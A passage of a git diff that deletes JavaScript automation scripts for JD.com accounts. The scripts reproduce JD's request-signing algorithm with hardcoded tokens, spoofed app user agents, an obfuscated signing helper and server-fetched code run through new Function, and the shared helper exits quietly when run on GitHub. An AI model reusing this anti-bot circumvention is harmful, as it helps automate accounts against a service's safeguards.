"".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, - a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) - } - } - return d; -} - -function decrypt(time, stk, type, url) { - stk = stk || (url ? getJxmcUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.Jxmctoken && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.Jxmctoken, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - } else { - const random = '5gkjB6SpmC9s'; - $.Jxmctoken = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.Jxmctoken}${$.fingerprint}${timestamp}${$.appId}${random}`; - hash1 = $.CryptoJS.SHA512(str, $.Jxmctoken).toString($.CryptoJS.enc.Hex); - } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getJxmcUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.Jxmctoken), "".concat(hash2)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' - } -} - -async function requestAlgo() { - $.fingerprint = await generateFp(); - $.appId = 10028; - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - //'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fingerprint, - "appId": $.appId.toString(), - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`request_algo 签名参数API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['status'] === 200) { - $.Jxmctoken = data.data.result.tk; - let enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) - $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - } else { - console.log('request_algo 签名参数API请求失败:') - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(); - } - }) - }) -} - -function generateFp() { - let e = "0123456789"; - let a = 13; - let i = ''; - for (; a--; ) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0, 16) -} - -function getJxmcUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - return vars[i].substr(vars[i].indexOf('=') + 1); - } - } - return '' - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -function timeFormat(time) { - let date; - if (time) { - date = new Date(time) - } else { - date = new Date(); - } - return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); -} - -function GetDateTime(date) { - - var timeString = ""; - - var timeString = date.getFullYear() + "-"; - if ((date.getMonth() + 1) < 10) - timeString += "0" + (date.getMonth() + 1) + "-"; - else - timeString += (date.getMonth() + 1) + "-"; - - if ((date.getDate()) < 10) - timeString += "0" + date.getDate() + " "; - else - timeString += date.getDate() + " "; - - if ((date.getHours()) < 10) - timeString += "0" + date.getHours() + ":"; - else - timeString += date.getHours() + ":"; - - if ((date.getMinutes()) < 10) - timeString += "0" + date.getMinutes() + ":"; - else - timeString += date.getMinutes() + ":"; - - if ((date.getSeconds()) < 10) - timeString += "0" + date.getSeconds(); - else - timeString += date.getSeconds(); - - return timeString; -} - -// prettier-ignore -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - class s { - constructor(t) { - this.env = t - } - send(t, e = "GET") { - t = "string" == typeof t ? { - url: t - } - : t; - let s = this.get; - return "POST" === e && (s = this.post), - new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - get(t) { - return this.send.call(this.env, t) - } - post(t) { - return this.send.call(this.env, t, "POST") - } - } - return new class { - constructor(t, e) { - this.name = t, - this.http = new s(this), - this.data = null, - this.dataFile = "box.dat", - this.logs = [], - this.isMute = !1, - this.isNeedRewrite = !1, - this.logSeparator = "\n", - this.startTime = (new Date).getTime(), - Object.assign(this, e), - this.log("", `🔔${this.name}, 开始!`) - } - isNode() { - return "undefined" != typeof module && !!module.exports - } - isQuanX() { - return "undefined" != typeof $task - } - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - isLoon() { - return "undefined" != typeof $loon - } - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch { - return e - } - } - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch { - return e - } - } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) - try { - s = JSON.parse(this.getdata(t)) - } catch {} - return s - } - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - getScript(t) { - return new Promise(e => { - this.get({ - url: t - }, (t, s, i) => e(i)) - }) - } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, - r = e && e.timeout ? e.timeout : r; - const[o, h] = i.split("@"), - n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { - script_text: t, - mock_type: "cron", - timeout: r - }, - headers: { - "X-Key": o, - Accept: "*/*" - } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) - return {}; { - this.fs = this.fs ? this.fs : require("fs"), - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) - return {}; { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) - return s; - return r - } - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), - r = s ? this.getval(s) : ""; - if (r) - try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), - o = this.getval(i), - h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), - s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), - s = this.setval(JSON.stringify(o), i) - } - } else - s = this.setval(t, e); - return s - } - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), - this.cktough = this.cktough ? this.cktough : require("tough-cookie"), - this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, - t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), - this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), - e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), - e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) - this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), - e(t, s, i) - }); - else if (this.isQuanX()) - t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { - url: s, - ...i - } = t; - this.got.post(s, i).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) - new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) - return t; - if ("string" == typeof t) - return this.isLoon() ? t : this.isQuanX() ? { - "open-url": t - } - : this.isSurge() ? { - url: t - } - : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { - openUrl: e, - mediaUrl: s - } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { - "open-url": e, - "media-url": s - } - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return { - url: e - } - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), - s && t.push(s), - i && t.push(i), - console.log(t.join("\n")), - this.logs = this.logs.concat(t) - } - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), - console.log(t.join(this.logSeparator)) - } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), - this.log(), - (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - } - (t, e) -} diff --git a/backUp/jd_bean_change_xh.js b/backUp/jd_bean_change_xh.js deleted file mode 100644 index 56f5215..0000000 --- a/backUp/jd_bean_change_xh.js +++ /dev/null @@ -1,655 +0,0 @@ -/* - * 简化版京东日资产变动通知 - * 支持环境变量控制每次发送的账号个数,默认为2 - * 环境变量为:JD_BEAN_CHANGE_SENDNUM - * By X1a0He - * https://github.com/X1a0He/jd_scripts_fixed - * */ -const $ = new Env("京东日资产变动"); -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = "", message = ``; -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -$.todayIncome = 0 -$.todayExpenditure = 0 -$.yestodayIncome = 0 -$.yestodayExpenditure = 0 -$.beanCount = 0; -$.beanFlag = true; -$.jdName = `` -$.sendNum = process.env.JD_BEAN_CHANGE_SENDNUM * 1 || 2 -$.sentNum = 0; -if($.isNode()){ - Object.keys(jdCookieNode).forEach((item) => {cookiesArr.push(jdCookieNode[item]);}); - if(process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; -} else cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie),].filter((item) => !!item); -!(async() => { - if(!cookiesArr[0]){ - $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", { "open-url": "https://bean.m.jd.com/" }); - return; - } - console.log('=====环境变量配置如下=====') - console.log(`sendNum: ${typeof $.sendNum}, ${$.sendNum}`) - console.log('=======================') - for(let i = 0; i < cookiesArr.length; i++){ - if(cookiesArr[i]){ - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.jdSpeedGoldBalance = 0; - $.jdzzNum = 0; - console.log(`[京东账号${$.index} ${$.UserName}] 获取数据中...`) - await bean(); - await totalBean(); - message += `[京东账号${$.index}]\n` - console.log(`[京东账号${$.index}]`) - message += `👤账号名称:${$.jdName}\n` - console.log(`👤账号名称:${$.jdName}`) - message += `🥔今日收支:${$.todayIncome}京豆 | ${$.todayExpenditure}京豆\n` - console.log(`🥔今日收支:${$.todayIncome}京豆 | ${$.todayExpenditure}京豆`) - message += `🥔昨日收支:${$.yestodayIncome}京豆 | ${$.yestodayExpenditure}京豆\n` - console.log(`🥔昨日收支:${$.yestodayIncome}京豆 | ${$.yestodayExpenditure}京豆`) - message += `🥔当前京豆:${$.beanCount}京豆\n` - console.log(`🥔当前京豆:${$.beanCount}京豆`) - await cash(); - typeof $.jdSpeedGoldBalance !== "undefined" ? message += `💰极速金币:${$.jdSpeedGoldBalance}金币 ≈ ${($.jdSpeedGoldBalance / 10000).toFixed(2)}元\n` : '' - typeof $.jdSpeedGoldBalance !== "undefined" ? console.log(`💰极速金币:${$.jdSpeedGoldBalance}金币 ≈ ${($.jdSpeedGoldBalance / 10000).toFixed(2)}元`) : '' - await getJdzz(); - typeof $.jdzzNum !== "undefined" ? message += `💰京东赚赚:${$.jdzzNum}金币 ≈ ${($.jdzzNum / 10000).toFixed(2)}元\n` : '' - typeof $.jdzzNum !== "undefined" ? console.log(`💰京东赚赚:${$.jdzzNum}金币 ≈ ${($.jdzzNum / 10000).toFixed(2)}元`) : '' - $.JdMsScore = 0; - await getMs(); - $.JdMsScore !== 0 ? message += `💰京东秒杀:${$.JdMsScore}秒币 ≈ ${($.JdMsScore / 1000).toFixed(2)}元\n` : '' - $.JdMsScore !== 0 ? console.log(`💰京东秒杀:${$.JdMsScore}秒币 ≈ ${($.JdMsScore / 1000).toFixed(2)}元`) : '' - await redPacket(); - if($.index % $.sendNum === 0 || (cookiesArr.length - ($.sentNum * $.sendNum)) < $.sendNum){ - message += `[京东账号${$.index}]\n` - } else { - message += `[京东账号${$.index}]\n\n` - } - console.log(`[京东账号${$.index}]`) - console.log(`[京东账号${$.index} ${$.UserName}] 结束\n`) - if($.isNode()){ - if($.index % $.sendNum === 0){ - $.sentNum++; - console.log(`正在进行第 ${$.sentNum} 次发送通知,发送数量:${$.sendNum}`) - await notify.sendNotify(`${$.name}`, `${message}`) - message = ""; - } - } - } - } - if($.isNode()){ - if((cookiesArr.length - ($.sentNum * $.sendNum)) < $.sendNum){ - console.log(`正在进行最后一次发送通知,发送数量:${(cookiesArr.length - ($.sentNum * $.sendNum))}`) - await notify.sendNotify(`${$.name}`, `${message}`) - message = ""; - } - } -})().catch((e) => { - $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); -}).finally(() => { - $.done(); -}); - -async function bean(){ - $.beanPage = 1; - $.todayIncome = 0 - $.todayExpenditure = 0 - $.yestodayIncome = 0 - $.yestodayExpenditure = 0 - $.beanFlag = true; - $.beanCount = 0; - do { - getJingBeanBalanceDetail($.beanPage); - await $.wait(500) - } while($.beanFlag === true) -} - -//获取京豆数据 -function getJingBeanBalanceDetail(page){ - // 前一天的0:0:0时间戳 - const yesterdayTimeStamp = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); - // 今天0:0:0时间戳 - const todayTimeStamp = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; - return new Promise((resolve) => { - const options = { - url: 'https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail', - body: `body=%7B%22pageSize%22%3A%2220%22%2C%22page%22%3A%22${page}%22%7D&appid=ld`, - headers: { - "Cookie": cookie, - Connection: "keep-alive", - "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }, - } - $.post(options, (err, resp, data) => { - try{ - if(err){ - if(JSON.stringify(err) !== `\"read ECONNRESET\"`){ - console.log(JSON.stringify(err)) - console.log(`${$.name} API请求失败,请检查网路重试`) - } - } else { - if(data){ - data = JSON.parse(data); - if(data.code === "0"){ - $.beanPage++; - let detailList = data.detailList; - if(detailList && detailList.length > 0){ - for(let item of detailList){ - const date = item.date.replace(/-/g, '/') + "+08:00"; - if(new Date(date).getTime() >= todayTimeStamp && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))){ - Number(item.amount) > 0 ? $.todayIncome += Number(item.amount) : $.todayExpenditure += Number(item.amount); - } else if(yesterdayTimeStamp <= new Date(date).getTime() && new Date(date).getTime() < todayTimeStamp && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))){ - Number(item.amount) > 0 ? $.yestodayIncome += Number(item.amount) : $.yestodayExpenditure += Number(item.amount) - } else if(yesterdayTimeStamp > new Date(date).getTime()){ - $.beanFlag = false; - break; - } - } - } else $.beanFlag = false; - } else if(data && data.code === "3"){ - console.log(`cookie已过期,或者填写不规范`) - $.beanFlag = false; - } else { - console.log(`未知情况:${JSON.stringify(data)}`); - console.log(`未知情况,跳出`) - $.beanFlag = false; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch(e){ - $.logErr(e, resp) - } finally{ - resolve(data); - } - }); - }); -} - -function totalBean(){ - $.jdName = `` - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Cookie: cookie, - "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } - // "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - } - $.get(options, (err, resp, data) => { - try{ - if(err){ - $.logErr(err) - } else { - if(data){ - data = JSON.parse(data); - if(data.retcode === "1001"){ - $.isLogin = false; //cookie过期 - return; - } - if(data.retcode === "0" && data.data && data.data.hasOwnProperty("userInfo")){ - $.jdName = `${data.data.userInfo.baseInfo.nickname} ${data.data.userInfo.baseInfo.levelName}` - } - if(data.retcode === '0' && data.data && data.data.assetInfo){ - $.beanCount = data.data && data.data.assetInfo.beanNum; - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch(e){ - $.logErr(e) - } finally{ - resolve(); - } - }) - }) -} - -function cash(){ - return new Promise(resolve => { - $.get(taskcashUrl('MyAssetsService.execute', - { "method": "userCashRecord", "data": { "channel": 1, "pageNum": 1, "pageSize": 20 } }), - async(err, resp, data) => { - try{ - if(err){ - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if(safeGet(data)){ - data = JSON.parse(data); - $.jdSpeedGoldBalance = data.data.goldBalance; - } - } - } catch(e){ - $.logErr(e, resp) - } finally{ - resolve(data); - } - }) - }) -} - -var __Oxb24bc = ["lite-android&", "stringify", "&android&3.1.0&", "&", "&846c4c32dae910ef", "12aea658f76e453faf803d15c40a72e0", "isNode", "crypto-js", "", "api?functionId=", "&body=", "&appid=lite-android&client=android&uuid=846c4c32dae910ef&clientVersion=3.1.0&t=", "&sign=", "api.m.jd.com", "*/*", "RN", "JDMobileLite/3.1.0 (iPad; iOS 14.4; Scale/2.00)", "zh-Hans-CN;q=1, ja-CN;q=0.9", "undefined", "log", "", "", "", "", "jsjia", "mi.com"]; - -function taskcashUrl(_0x7683x2, _0x7683x3 = {}){ - let _0x7683x4 = +new Date(); - let _0x7683x5 = `${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`; - let _0x7683x6 = __Oxb24bc[0x5]; - const _0x7683x7 = $[__Oxb24bc[0x6]]() ? require(__Oxb24bc[0x7]) : CryptoJS; - let _0x7683x8 = _0x7683x7.HmacSHA256(_0x7683x5, _0x7683x6).toString(); - return { - url: `${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`, - headers: { - 'Host': __Oxb24bc[0xd], - 'accept': __Oxb24bc[0xe], - 'kernelplatform': __Oxb24bc[0xf], - 'user-agent': __Oxb24bc[0x10], - 'accept-language': __Oxb24bc[0x11], - 'Cookie': cookie - } - } -} - -function getJdzz(){ - return new Promise(resolve => { - $.get(taskJDZZUrl("interactTaskIndex"), async(err, resp, data) => { - try{ - if(err){ - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if(safeGet(data)){ - data = JSON.parse(data); - $.jdzzNum = data.data.totalNum - } - } - } catch(e){ - $.logErr(e, resp) - } finally{ - resolve(data); - } - }) - }) -} - -function taskJDZZUrl(functionId, body = {}){ - return { - url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/json', - 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', - 'User-Agent': "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - -function getMs(){ - return new Promise(resolve => { - $.post(taskMsPostUrl('homePageV2', {}, 'appid=SecKill2020'), (err, resp, data) => { - try{ - if(err){ - console.log(`${err},${jsonParse(resp.body)['message']}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if(safeGet(data)){ - data = JSON.parse(data) - if(data.code === 2041){ - $.JdMsScore = data.result.assignment.assignmentPoints || 0 - } - } - } - } catch(e){ - $.logErr(e, resp) - } finally{ - resolve(data); - } - }) - }) -} - -function taskMsPostUrl(function_id, body = {}, extra = '', function_id2){ - let url = `${JD_API_HOST}`; - function_id2 ? url += `?functionId=${function_id2}` : '' - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&${extra}`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": 'jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - } - } -} - -function redPacket(){ - return new Promise(async resolve => { - const options = { - "url": `https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${+new Date()}&sceneval=2&g_login_type=1&g_ty=ls`, - "headers": { - 'Host': 'm.jingxi.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Accept-Language': 'zh-cn', - 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', - 'Accept-Encoding': 'gzip, deflate, br', - "Cookie": cookie, - 'User-Agent': "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" - } - } - $.get(options, (err, resp, data) => { - try{ - if(err){ - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if(data){ - data = JSON.parse(data).data - $.jxRed = 0, $.jsRed = 0, $.jdRed = 0, $.jdhRed = 0, $.jxRedExpire = 0, $.jsRedExpire = 0, $.jdRedExpire = 0, $.jdhRedExpire = 0; - let t = new Date() - t.setDate(t.getDate() + 1) - t.setHours(0, 0, 0, 0) - t = parseInt((t - 1) / 1000) - for(let vo of data.useRedInfo.redList || []){ - if(vo.orgLimitStr && vo.orgLimitStr.includes("京喜")){ - $.jxRed += parseFloat(vo.balance) - if(vo['endTime'] === t){ - $.jxRedExpire += parseFloat(vo.balance) - } - } else if(vo.activityName.includes("极速版")){ - $.jsRed += parseFloat(vo.balance) - if(vo['endTime'] === t){ - 